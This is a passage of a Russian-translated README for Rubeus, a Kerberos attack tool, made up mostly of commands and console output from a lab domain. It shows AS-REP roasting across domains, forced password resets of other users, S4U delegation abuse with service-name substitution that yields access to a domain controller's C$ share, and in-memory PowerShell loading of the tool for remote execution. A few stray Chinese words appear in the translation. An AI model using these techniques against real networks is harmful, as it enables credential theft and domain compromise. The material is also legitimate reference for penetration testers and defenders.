_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Обжарка AS-REP
[*] Целевой пользователь : TestOU3user
[*] Целевой домен : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Используется контроллер домена: testlab.local (192.168.52.100)
[*] Построение AS-REQ (без предвар. аут.) для: 'testlab.local\TestOU3user'
[*] Подключение к 192.168.52.100:88
[*] Отправлено 169 байт
[*] Получено 1437 байт
[+] AS-REQ без предварительной аутентификации выполнен успешно!
[*] Хеш AS-REP:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(обрыв)...
Выполнение обжарки AS-REP для всех пользователей во внешнем доверяющем домене:
C:\Rubeus>Rubeus.exe asreproast /domain:dev.testlab.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Обжарка AS-REP
[*] Целевой домен : dev.testlab.local
[*] SamAccountName : devuser3
[*] DistinguishedName : CN=devuser3,CN=Users,DC=dev,DC=testlab,DC=local
[*] Используется контроллер домена: dev.testlab.local (192.168.52.105)
[*] Построение AS-REQ (без предвар. аут.) для: 'dev.testlab.local\devuser3'
[*] Подключение к 192.168.52.105:88
[*] Отправлено 175 байт
[*] Получено 1448 байт
[+] AS-REQ без предварительной аутентификации выполнен успешно!
[*] Хеш AS-REP:
$krb5asrep$devuser3@dev.testlab.local:650B881E44B92FB6A378DD21E8B020...(обрыв)...
Выполнение обжарки AS-REP для пользователей во внешнем недоверяющем домене с использованием альтернативных учетных данных:
C:\Rubeus>Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Действие: Обжарка AS-REP
[*] Целевой домен : external.local
[*] Используются альтерн. учетные данные: EXTERNAL.local\administrator
[*] SamAccountName : david
[*] DistinguishedName : CN=david,CN=Users,DC=external,DC=local
[*] Используется контроллер домена: external.local (192.168.52.95)
[*] Построение AS-REQ (без предвар. аут.) для: 'external.local\david'
[*] Подключение к 192.168.52.95:88
[*] Отправлено 165 байт
[*] Получено 1376 байт
[+] AS-REQ без предварительной аутентификации выполнен успешно!
[*] Хеш AS-REP:
$krb5asrep$david@external.local:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(обрыв)...
Разбор разнообразных команд:
| Команда | Описание |
|---|---|
| createnetonly | Создать процесс с типом входа в систему 9 |
| changepw | Выполнить сброс пароля Kerberos (метод Aorato) |
| hash | Хешировать пароль в открытом виде в ключи шифрования Kerberos |
| tgssub | Подставить альтернативные имена служб в служебный тикет |
| currentluid | Отобразить текущий LUID пользователя |
| logonsession | Отобразить информацию о сессии входа в систему |
| asrep2kirbi | Преобразовать AS-REP и ключ клиента в формат Kirbi (KERB_CRED) |
| kirbi | Работа с файлами Kirbi (KERB_CRED) |
Действие createnetonly использует API CreateProcessWithLogonW() для создания нового скрытого (если не указан /show) процесса с типом SECURITY_LOGON_TYPE 9 (NewCredentials), что эквивалентно runas /netonly. Возвращаются ID процесса и LUID (ID сессии входа). Затем к этому процессу можно применить特定ные билеты Kerberos с помощью параметра ptt /luid:0xA.., при наличии повышения привилегий. Это предотвращает удаление существующих TGT для текущей сессии входа в систему.
Создание скрытого процесса upnpcont.exe:
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Создание процесса (/netonly)
[*] Отображение процесса : Нет
[+] Процесс : 'C:\Windows\System32\upnpcont.exe' успешно создан с LOGON_TYPE = 9
[+] ProcessID : 9936
[+] LUID : 0x4a071f
Создание видимой командной строки:
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Создание процесса (/netonly)
[*] Отображение процесса : Да
[+] Процесс : 'C:\Windows\System32\cmd.exe' успешно создан с LOGON_TYPE = 9
[+] ProcessID : 5352
[+] LUID : 0x4a091c0
Создание видимой командной строки и импорт тикета:
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:ticket.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Создание процесса (/netonly)
[*] Отображение процесса : Да
[+] Процесс : 'C:\Windows\System32\cmd.exe' успешно создан с LOGON_TYPE = 9
[+] ProcessID : 5352
[+] LUID : 0x4a091c0
[+] Тикет успешно импортирован!
Действие changepw берет TGT пользователя в формате .kirbi и выполняет сброс пароля MS kpasswd с указанным значением /new:PASSWORD. Если параметр /dc не указан, текущий контроллер домена компьютера извлекается и используется как адресат трафика сброса пароля. Это метод сброса пароля Kerberos от Aorato, раскрытый в 2014 году, эквивалентный функции misc::changepw в Kekeo.
Параметр /targetuser может использоваться для смены пароля других пользователей, при условии, что пользователю, чей TGT используется, предоставлена достаточная привилегия. Требуемый формат: domain.com\user.
Обратите внимание, что для смены пароля может использоваться либо TGT пользователя, либо служебный тикет для kadmin/changepw
Вы можете получить блоб TGT с помощью команды asktgt.
C:\Rubeus>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(обрыв)...== /new:Password123!
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Действие: Сброс пароля пользователя (AoratoPw)
[*] Смена пароля для пользователя: harmj0y@TESTLAB.LOCAL
[*] Новое значение пароля: Password123!
[*] Построение AP-REQ для запроса MS Kpassword
[*] Построение аутентификатора с типом ключа шифрования: rc4_hmac
[] base64(сессионный подключевой ключ): nX2FOQ3RsGxoI8uqIg1zlg== [] Построение структуры KRV-PRIV [] Подключение к 192.168.52.100:464 [] Отправлено 1347 байт [*] Получено 167 байт [+] Смена пароля прошла успешно!
Смена пароля другого пользователя (dev.ccob@dev.rubeus.ghostpack.local) с помощью сервисного билета для kadmin/changepw, полученного с помощью реферального TGT для harmj0y@rubeus.ghostpack.local:
C:\Rubeus>Rubeus.exe changepw /targetuser:dev.rubeus.ghostpack.local\dev.ccob /new:Pwn3dPassword123! /ticket:doIFYDCCBVygAw...(snip)...RtaW4bCGNoYW5nZXB3
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Сброс пароля пользователя (AoratoPw)
[*] Используем контроллер домена: DevDC1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Сброс пароля для целевого пользователя: dev.rubeus.ghostpack.local\dev.ccob
[*] Новое значение пароля: Pwn3dPassword123!
[*] Построение AP-REQ для запроса MS Kpassword
[*] Построение аутентификатора с типом ключа шифрования: aes256_cts_hmac_sha1
[*] base64(сессионный подключевой ключ): wCAQoKiWlCjeEjfmqo+aA7ZlLSXYWhv+LzlXkGVJSXU=
[*] Построение структуры KRV-PRIV
[+] Смена пароля прошла успешно!
Действие hash принимает /password:X и опционально /user:USER и/или /domain:DOMAIN. Оно сгенерирует представление rc4_hmac (NTLM) пароля, используя подход kerberos:hash (KERB_ECRYPT HashPassword) от @gentilkiwi. Если указаны имена пользователя и домена, также генерируются хеши в форматах aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 и des_cbc_md5. Имена пользователя и домена используются как соли для реализаций AES и DES.
Вычисление rc4_hmac пароля:
C:\Rubeus>Rubeus.exe hash /password:Password123!
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.0
[*] Действие: Вычисление хешей паролей
[*] Входной пароль : Password123!
[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE
[!] Для вычисления типов хешей AES и DES необходимо указать /user:X и /domain:Y!
Вычисление всех форматов хешей:
C:\Rubeus>Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.0
[*] Действие: Вычисление хешей паролей
[*] Входной пароль : Password123!
[*] Входное имя пользователя : harmj0y
[*] Входной домен : testlab.local
[*] Соль : TESTLAB.LOCALharmj0y
[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] aes128_cts_hmac_sha1 : B0A79AB550536860123B427C14F2A531
[*] aes256_cts_hmac_sha1 : F7FEBF9779401B653911A56A79FF9E3A58F7F8990FDB3D9CA0E89227ABF13287
[*] des_cbc_md5 : 614589E66D6B3792
Действие tgssub принимает base64-представление сервисного билета/файл и заменяет имя сервиса в билете на альтернативное. Это полезно для злоупотребления S4U и других сценариев.
Аргумент /altservice:X является обязательным и может быть либо отдельным именем сервиса (ldap, cifs и т.д.), либо полным和服务主体名 (Service Principal Name, SPN) (cifs/computer.domain.com). Первый вариант создаст новый sname только с указанным сервисом, что полезно, когда требуется только имя хоста. Второй вариант полезен в некоторых сценариях злоупотребления S4U2self с управляемой ограничением делегацией на основе ресурсов. Дополнительную информацию можно найти в публикации Элада Шамира по этой теме.
Аргумент /srealm:Y является необязательным и может использоваться для изменения домена сервиса в билете.
Флаг /ptt выполнит "pass-the-ticket" (перенос билета) и применит полученные учетные данные Kerberos к текущей сессии входа. Флаг /luid:0xA.. применит билет к указанному ID сессии входа (требуется повышение привилегий) вместо текущей сессии.
Выполнение процесса S4U2self/S4U2proxy для злоупотребления традиционной управляемой делегацией и замена имени сервиса в итоговом билете. Это позволяет избежать повторного выполнения процесса S4U:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /msdsspn:ldap/PRIMARY.testlab.local /impersonateuser:harmj0y /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Действие: Запрос TGT
[*] Используем rc4_hmac хеш: 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] Используем контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение AS-REQ (с предварительной аутентификацией) для: 'testlab.local\patsy'
[+] Запрос TGT успешен!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Действие: S4U
[*] Используем контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса S4U2self для: 'patsy@TESTLAB.LOCAL'
[*] Отправка запроса S4U2self
[+] S4U2self успех!
[*] Получен TGS для 'harmj0y@TESTLAB.LOCAL' на 'patsy@TESTLAB.LOCAL'
[*] base64(ticket.kirbi):
doIFXjCCBVqgAwIBBaEDAgEWoo...(snip)...
[*] Имперсонализация пользователя 'harmj0y' для целевого SPN 'ldap/PRIMARY.testlab.local'
[*] Используем контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса S4U2proxy для сервиса: 'ldap/PRIMARY.testlab.local'
[*] Отправка запроса S4U2proxy
[+] S4U2proxy успех!
[*] base64(ticket.kirbi) для SPN 'ldap/PRIMARY.testlab.local':
doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...
[*] Действие: Импорт билета
[+] Билет успешно импортирован!
C:\Rubeus>dir \\primary.testlab.local\C$
Отказано в доступе.
C:\Rubeus>Rubeus.exe tgssub /ticket:doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Действие: Замена имени сервиса (sname) в сервисном билете
[*] Замена на альтернативное имя сервиса: cifs
[*] base64(ticket.kirbi):
doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...
[*] Действие: Описание билета
UserName : harmj0y@TESTLAB.LOCAL
UserRealm : TESTLAB.LOCAL
ServiceName : cifs/PRIMARY.testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 3/1/2019 12:51:06 PM
EndTime : 3/1/2019 5:51:06 PM
RenewTill : 3/8/2019 12:51:06 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes128_cts_hmac_sha1
Base64(key) : yxQVMhl0qn3P0wUUC4KnGQ==
[*] Действие: Импорт билета
[+] Билет успешно импортирован!
C:\Rubeus>dir \\primary.testlab.local\C$
Том в диске \\primary.testlab.local\C$ не имеет метки.
Серийный номер тома: A48B-4D68
Каталог \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
07/21/2018 07:41 PM 9 out.txt
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 Файл(ов) 9 байт
9 Каталог(ов) 40,463,851,520 байт свободно
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Действие: Список билетов Kerberos (Текущий пользователь)
[*] Текущий LUID : 0x6de14
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
Имя сервера : cifs/PRIMARY.testlab.local @ TESTLAB.LOCAL
Имя клиента : harmj0y @ TESTLAB.LOCAL
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Начало/Конец/МаксОбновление: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
Имя сервера : ldap/PRIMARY.testlab.local @ TESTLAB.LOCAL
Имя клиента : harmj0y @ TESTLAB.LOCAL
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
Выполнение S4U2self к машине с использованием хеша её учётной записи компьютера, с последующей подстановкой имён сервисов, которые мы хотим использовать:
C:\Rubeus>Rubeus.exe s4u /user:primary$ /rc4:46b910dbe4514bd144b44cb554c256db /impersonateuser:harmj0y
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Действие: Запрос TGT
[*] Используется rc4_hmac хеш: 46b910dbe4514bd144b44cb554c256db
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение AS-REQ (с предварительной аутентификацией) для: 'testlab.local\primary$'
[+] Запрос TGT выполнен успешно!
[*] base64(ticket.kirbi):
doIFIDCCBRygAwIBBaEDAgEWoo...(snip)...
[*] Действие: S4U
[*] Используется контроллер домена: PRIMARY.testlab.local (192.168.52.100)
[*] Построение запроса S4U2self для: 'primary$@TESTLAB.LOCAL'
[*] Отправка запроса S4U2self
[+] S4U2self выполнен успешно!
[*] Получен TGS для 'harmj0y@TESTLAB.LOCAL' к 'primary$@TESTLAB.LOCAL'
[*] base64(ticket.kirbi):
doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe describe /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Действие: Описание билета
Имя пользователя : harmj0y@TESTLAB.LOCAL
Домен пользователя : TESTLAB.LOCAL
Имя сервиса : primary$
Домен сервиса : TESTLAB.LOCAL
Время начала : 3/1/2019 12:43:56 PM
Время окончания : 3/1/2019 5:43:56 PM
Продление до : 3/8/2019 12:43:56 PM
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable
Тип ключа : aes256_cts_hmac_sha1
Base64(ключ) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=
[!] Билет сервиса использует тип ключа шифрования 'aes256_cts_hmac_sha1', невозможно извлечь хеш и соль.
C:\Rubeus>dir \\primary.testlab.local\C$
Отказано в доступе.
C:\Rubeus>Rubeus.exe purge
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
Luid: 0x0
[*] Действие: Очистка билетов
[+] Билеты успешно очищены!
C:\Rubeus>Rubeus.exe tgssub /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... /altservice:cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
[*] Действие: Подстановка имени сервиса в билете
[*] Подстановка альтернативного имени сервиса: cifs/primary.testlab.local
[*] base64(ticket.kirbi):
doIFpjCCBaKgAwIBBaEDAgEWoo...(snip)...
[*] Действие: Описание билета
Имя пользователя : harmj0y@TESTLAB.LOCAL
Домен пользователя : TESTLAB.LOCAL
Имя сервиса : cifs/primary.testlab.local
Домен сервиса : TESTLAB.LOCAL
Время начала : 3/1/2019 12:43:56 PM
Время окончания : 3/1/2019 5:43:56 PM
Продление до : 3/8/2019 12:43:56 PM
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable
Тип ключа : aes256_cts_hmac_sha1
Base64(ключ) : X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=
[*] Действие: Импорт билета
[+] Билет успешно импортирован!
C:\Rubeus>dir \\primary.testlab.local\C$
Том в диске \\primary.testlab.local\C$ не имеет метки.
Серийный номер тома: A48B-4D68
Каталог \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,462,831,616 bytes free
Действие currentluid отображает идентификатор входа в систему (LUID) текущего пользователя.
C:\Rubeus>Rubeus.exe currentluid
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Действие: Отображение текущего LUID
[*] Текущий LogonID (LUID) : 0x121078 (1183864)
Действие logonsession отображает информацию о сеансе входа текущего контекста, если не повышены права, или обо всех сеансах входа, если права повышены.
C:\Rubeus>Rubeus.exe logonsession
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.1.0
[*] Действие: Отображение информации о текущем сеансе входа
LUID : 0x28a8fd (2664701)
Имя пользователя : harmj0y
Домен входа : THESHIRE
SID : S-1-5-21-937929760-3187473010-80948926-1104
Пакет аутентификации : Kerberos
Тип входа : Интерактивный (2)
Сеанс : 1
Время входа : 6/9/2022 1:17:48 PM
Сервер входа : DC
DNS-имя домена : THESHIRE.LOCAL
UPN : harmj0y@theshire.local
Если права повышены, флаг /current отобразит информацию только о текущем сеансе входа, а /luid:X — информацию о целевом указанном сеансе входа.
Действие asrep2kirbi преобразует AS-REP и клиентский ключ в Kirbi.
Клиентский ключ может быть предоставлен в виде блоба в кодировке Base64 или в виде шестнадцатеричной строки.
Действие kirbi используется для манипуляции с Kirbi (KERB_CRED).
В настоящее время оно поддерживает только модификацию/вставку сессионного ключа с помощью аргументов /sessionkey:SESSIONKEY и /sessionetype:DES|RC4|AES128|AES256, передавая Kirbi с помощью аргумента /kirbi:X.
Мы не планируем выпускать бинарные файлы Rubeus, поэтому вам придётся компилировать самостоятельно :)
Rubeus был создан на базе .NET 3.5 и совместим с Visual Studio 2019 Community Edition. Просто откройте файл .sln проекта, выберите "Release" и соберите.
Конфигурация сборки Rubeus по умолчанию предназначена для .NET 3.5, которая не будет работать на системах без установленной этой версии. Чтобы нацелить Rubeus на .NET 4 или 4.5, откройте решение .sln, перейдите в Проект -> Свойства Rubeus и измените "Целевую платформу" на другую версию.
Для сборки Rubeus как библиотеки перейдите в Проект -> Свойства Rubeus -> измените Тип выходных данных на Библиотека классов. Скомпилируйте и добавьте Rubeus.dll в качестве ссылки в любой нужный вам проект. Функциональность Rubeus затем можно вызвать несколькими способами:
// передайте в метод Main аргументы, которые вы хотите
Rubeus.Program.Main("dump /luid:3050142".Split());
// или вызовите конкретную функциональность вручную
Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID());
Затем вы можете использовать ILMerge для объединения Rubeus.dll с вашим результирующим сборным файлом проекта в единый самодостаточный файл.
Если вы хотите запустить Rubeus в памяти через обёртку PowerShell, сначала скомпилируйте Rubeus и закодируйте результирующую сборку в Base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt
Rubeus затем может быть загружен в скрипт PowerShell следующим образом (где "aa..." заменяется на строку сборки Rubeus, закодированную в base64):
$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Метод Main() и любые аргументы затем могут быть вызваны следующим образом:
[Rubeus.Program]::Main("dump /user:administrator".Split())
Или могут быть вызваны отдельные функции:
$TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET')
# запуск mmc.exe как netonly, не скрытый
$LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true)
# применение тикета к сессии входа mmc
[Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID)
Из-за способа обработки вывода PSRemoting нам необходимо перенаправить stdout в строку и возвращать её вместо этого. К счастью, в Rubeus есть функция для помощи с этим.
Если вы следуете инструкциям в Примечание: Запуск Rubeus через PowerShell для создания Rubeus.ps1, добавьте что-то вроде следующего в конец скрипта:
[Rubeus.Program]::MainString("triage")
Затем вы должны иметь возможность запускать Rubeus через PSRemoting примерно следующим образом:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1
Как альтернатива, аргумент /consoleoutfile:C:\FILE.txt Rubeus перенаправит все потоки вывода в указанный файл.